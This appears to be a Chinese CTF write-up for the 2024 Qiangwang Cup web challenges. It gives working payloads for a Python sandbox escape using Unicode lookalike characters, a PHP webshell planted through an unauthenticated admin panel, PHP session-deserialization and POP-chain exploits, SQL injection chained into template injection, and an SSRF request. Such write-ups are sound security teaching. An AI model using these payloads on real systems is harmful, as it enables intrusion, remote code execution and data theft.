2024强网杯-WEB-gxngxngxn

WEB

PyBlockly

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"


def module_exists(module_name):
    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True

    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)

        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False


def verify_secure(m):
    #for node in ast.walk(m):
       # match type(node):
            #case ast.Import:
                #print("ERROR: Banned module ")
                #return False
            #case ast.ImportFrom:
                #print(f"ERROR: Banned module {node.module}")
                #return False
    return True


def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False


def block_to_python(block):
    block_type = block['type']
    code = ''

    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)
        code = f"print({text})"

    elif block_type == 'math_number':

        if str(block['fields']['NUM']).isdigit():
            code = int(block['fields']['NUM'])
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:

            code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':

        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code = f"max({a}, {b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code = f"min({a}, {b})"

    if 'next' in block:

        block = block['next']['block']

        code += "\n" + block_to_python(block) + "\n"
    else:
        return code
    return code


def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]

    python_code = ""
    python_code += block_to_python(block) + "\n"

    return python_code


def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):
            with open("run.py", 'w') as f:
                f.write(code)
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            #os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"


@app.route('/')
def index():
    return app.send_static_file('1.html')


@app.route('/blockly_json', methods=['POST'])
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)
        return do(python_code)
    except Exception as e:
        return jsonify({"error": "Error generating Python code", "details": str(e)})


if __name__ == '__main__':
    app.run(host='0.0.0.0')

首先对源码进行审计,发现功能很简单,就是自定义写个code然后拼接

'''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''

写到run.py里面运行,这里text的写入存在waf,基本过滤了所有符号

但是我们可以看到写入的text会经过unidecode,所以可以利用unicode欺骗来绕过waf

接下来看到run.py里面的,这里的audit_hook定义了event_name不能大于4,我们可以覆盖len函数为恒定值来绕过

所以去https://www.compart.com/en/unicode/这上面找相似的符号

{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"kUVZR[HX,rULhQsT[2`v","x":106,"y":178,"inputs":{"TEXT":{"block":{"type":"text","id":"jw(!V0vz7),S5aG`1]Gv","fields":{"TEXT":"1\u2018\uff09\nglobals\uff08\uff09\uff0eupdate\uff08dict\uff08len\u207clambda x\uff1a1\uff09\uff09\n\uff3f\uff3fimport\uff3f\uff3f\uff08\u2018os\u2018\uff09\uff0esystem\uff08\u2018dir\u2018\uff09\n\u266f"}}}}}]}}

成功构造执行ls命令,读flag需要提权,找下suid

def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

print('1')
globals().update(dict(len=lambda x:1))
__import__('os').system('find / -perm -u=s -type f 2>/dev/null')
#')
{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"kUVZR[HX,rULhQsT[2`v","x":106,"y":178,"inputs":{"TEXT":{"block":{"type":"text","id":"jw(!V0vz7),S5aG`1]Gv","fields":{"TEXT":"1\u2018\uff09\nglobals\uff08\uff09\uff0eupdate\uff08dict\uff08len\u207clambda x\uff1a1\uff09\uff09\n\uff3f\uff3fimport\uff3f\uff3f\uff08\u2018os\u2018\uff09\uff0esystem\uff08\u2018find \uff0f \uff0dperm \uff0du\u207cs \uff0dtype f 2\uff1e\uff0fdev\uff0fnull\u2018\uff09\n\u266f"}}}}}]}}

dd可以提权,直接读

{"blocks":{"languageVersion":0,"blocks":[{"type":"print","id":"kUVZR[HX,rULhQsT[2`v","x":106,"y":178,"inputs":{"TEXT":{"block":{"type":"text","id":"jw(!V0vz7),S5aG`1]Gv","fields":{"TEXT":"1\u2018\uff09\nglobals\uff08\uff09\uff0eupdate\uff08dict\uff08len\u207clambda x\uff1a1\uff09\uff09\n\uff3f\uff3fimport\uff3f\uff3f\uff08\u2018os\u2018\uff09\uff0esystem\uff08\u2018dd if\u207c\uff0fflag\u2018\uff09\n\u266f"}}}}}]}}

xiaohuanxiong

自己去下载个源码

forkable/xiaohuanxiong: 开源有态度的漫画CMS

可以看到后台路由是admin,查看Admins.php,发现好像并没有鉴权???

直接访问/admin/Admins,直接未授权进后台,然后添加一个管理即可

接下来看到payment这里

直接就把我们传入的json写入文件里了???,直接插入一个system($_POST[0]),然后访问config/payment.php

platform

www.zip下载源码,简单审计一下

index.php

<?php
session_start();
require 'user.php';
require 'class.php';

$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $_SESSION['user'] = $username;

    if (!isset($_SESSION['session_key'])) {
        $_SESSION['session_key'] =$SessionRandom -> generateRandomString();
    }
    $_SESSION['password'] = $password;
    $result = $sessionManager->filterSensitiveFunctions();
    header('Location: dashboard.php');
    exit();
} else {
    require 'login.php';
}

class.php

<?php
class notouchitsclass {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }
    
    public function __destruct() {
        eval($this->data);
    }

}

class SessionRandom {

    public function generateRandomString() {
    $length = rand(1, 50);
    
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    
    return $randomString;
    }


}

class SessionManager {
    private $sessionPath;
    private $sessionId;
    private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];

    public function __construct() {
        if (session_status() == PHP_SESSION_NONE) {
            throw new Exception("Session has not been started. Please start a session before using this class.");
        }
        $this->sessionPath = session_save_path();
        $this->sessionId = session_id();
    }
    
    private function getSessionFilePath() {
        return $this->sessionPath . "/sess_" . $this->sessionId;
    }
    
    public function filterSensitiveFunctions() {
        $sessionFile = $this->getSessionFilePath();
    
        if (file_exists($sessionFile)) {
            $sessionData = file_get_contents($sessionFile);
    
            foreach ($this->sensitiveFunctions as $function) {
                if (strpos($sessionData, $function) !== false) {
                    $sessionData = str_replace($function, '', $sessionData);
                }
            }
            file_put_contents($sessionFile, $sessionData);
    
            return "Sensitive functions have been filtered from the session file.";
        } else {
            return "Session file not found.";
        }
    }

}

一眼session反序列化+字符串逃逸,会替换sensitiveFunctions中的字符为空,可以逃逸出后面的字符串

因为session_key是随机的,不能确定长度,所以不能从username中逃,那么只能从password属性中逃

这里可以设置password为数组,这里就可以利用第一个数组中的来吞掉第二个数组的内容,逃出字符串

username[]=a&password[]=evalevaleval&password[]=";i:1;s:1:"1";}a|O:15:"notouchitsclass":1:{s:4:"data";s:10:"phpinfo();

先自己设置一个PHPSESSID,然后连发两次包即可

可以看到成功执行了phpinfo

利用双写绕过,执行system

username[]=a&password[]=evalevaleval&password[]=";i:1;s:1:"1";}a|O:15:"notouchitsclass":1:{s:4:"data";s:15:"syssystemtem('ls /');

执行/readflag得到flag

username[]=a&password[]=evalevaleval&password[]=";i:1;s:1:"1";}a|O:15:"notouchitsclass":1:{s:4:"data";s:20:"syssystemtem('/readflag');

snake

首先玩下游戏,写个脚本来帮助我们通关,得到路由

让gpt跑了个代码 发现score到50与游戏就成功了 并返回一个路由和参数/snake_win?username=

import requests
import time
from collections import deque

server_url = 'http://eci-2zedptpxwuwjdkzq31mq.cloudeci1.ichunqiu.com:5000/move'

session_cookies = {
    'session': 'eyJ1c2VybmFtZSI6InRlc3QifQ.ZyZc6A.kcRlrOJ9Hn3l7RxMwePhbYCg0k8'
}

direction_map = {'UP': (0, -1), 'DOWN': (0, 1), 'LEFT': (-1, 0), 'RIGHT': (1, 0)}
current_move = 'RIGHT'

def calculate_next_position(current_pos, move):
    return [current_pos[0] + direction_map[move][0], current_pos[1] + direction_map[move][1]]

def is_position_safe(snake_body, new_pos):
    x, y = new_pos
    return 0 <= x < 25 and 0 <= y < 25 and new_pos not in snake_body

def find_shortest_path(snake_body, target_pos):
    snake_head = snake_body[0]
    queue = deque([(snake_head, [])])
    visited_positions = set()
    visited_positions.add(tuple(snake_head))

    while queue:
        current_pos, path = queue.popleft()
        for move in direction_map:
            next_pos = calculate_next_position(current_pos, move)
            if next_pos == target_pos:
                return path + [move]
            if is_position_safe(snake_body, next_pos) and tuple(next_pos) not in visited_positions:
                visited_positions.add(tuple(next_pos))
                queue.append((next_pos, path + [move]))

    return None

def select_best_move(snake_body, food_pos):
    path_to_food = find_shortest_path(snake_body, food_pos)
    if path_to_food:
        return path_to_food[0]
    return current_move


initial_response = requests.post(server_url, json={'direction': current_move}, cookies=session_cookies)
game_data = initial_response.json()

while game_data['status'] != 'game_over':
    snake_body = game_data['snake']
    food_pos = game_data['food']
    current_score = game_data['score']
    current_move = select_best_move(snake_body, food_pos)
    move_response = requests.post(server_url, json={'direction': current_move}, cookies=session_cookies)
    game_data = move_response.json()

    if game_data['status'] == 'game_over':
        print(f"GameOver!Score: {game_data['score']}")
        break
    elif game_data['status'] == 'win':
        print("win!")
        break
    else:
        print(f"Current Score: {game_data['score']}")
    time.sleep(0.1)

访问,fuzz下,发现单引号会报500,猜测存在sql???

/snake_win?username=1' union select 1,2,"gxngxngxn" --+

还真是sql,在第三列会回显

试试ssti??

/snake_win?username=1' union select 1,2,"{{7*7}}" --+

回显49,存在ssti,直接打

/snake_win?username=1' union select 1,2,"{{[].__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /f*').read()}}" --+

Proxy

直接审main.go,就v1和v2两个路由,v1需要本地才能访问,v2可以ssrf发送,那很简单了,直接打ssrf就行

POST /v2/api/proxy HTTP/1.1
Host: 59.110.156.237:22546
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 59

{"url":"http://127.0.0.1:8769/v1/api/flag","method":"POST"}

base64解码得到flag

Password Game

前面的计算抓个包,按要求来就行

得到源码:

function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

这里原本想通过guest::tostring来触发invoke,但是tostring是错误的代码,所以转换思路,看root和user类

if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

这里可以触发root::__get类,然后赋值flag给value,这时候我们只需要将value的值引用给user中的username,这样就会输出了

<?php
class root{
    public $username;
    public $value=2024;
	public $gxngxngxn;
}
class user{
    public $username;
    public $password;
}

$exp = new root();
$exp->gxngxngxn=new user();
$exp->gxngxngxn->username=&$exp->value;
echo serialize($exp);

posted @ 2024-11-04 15:43  gxngxngxn  阅读(506)  评论(0编辑  收藏  举报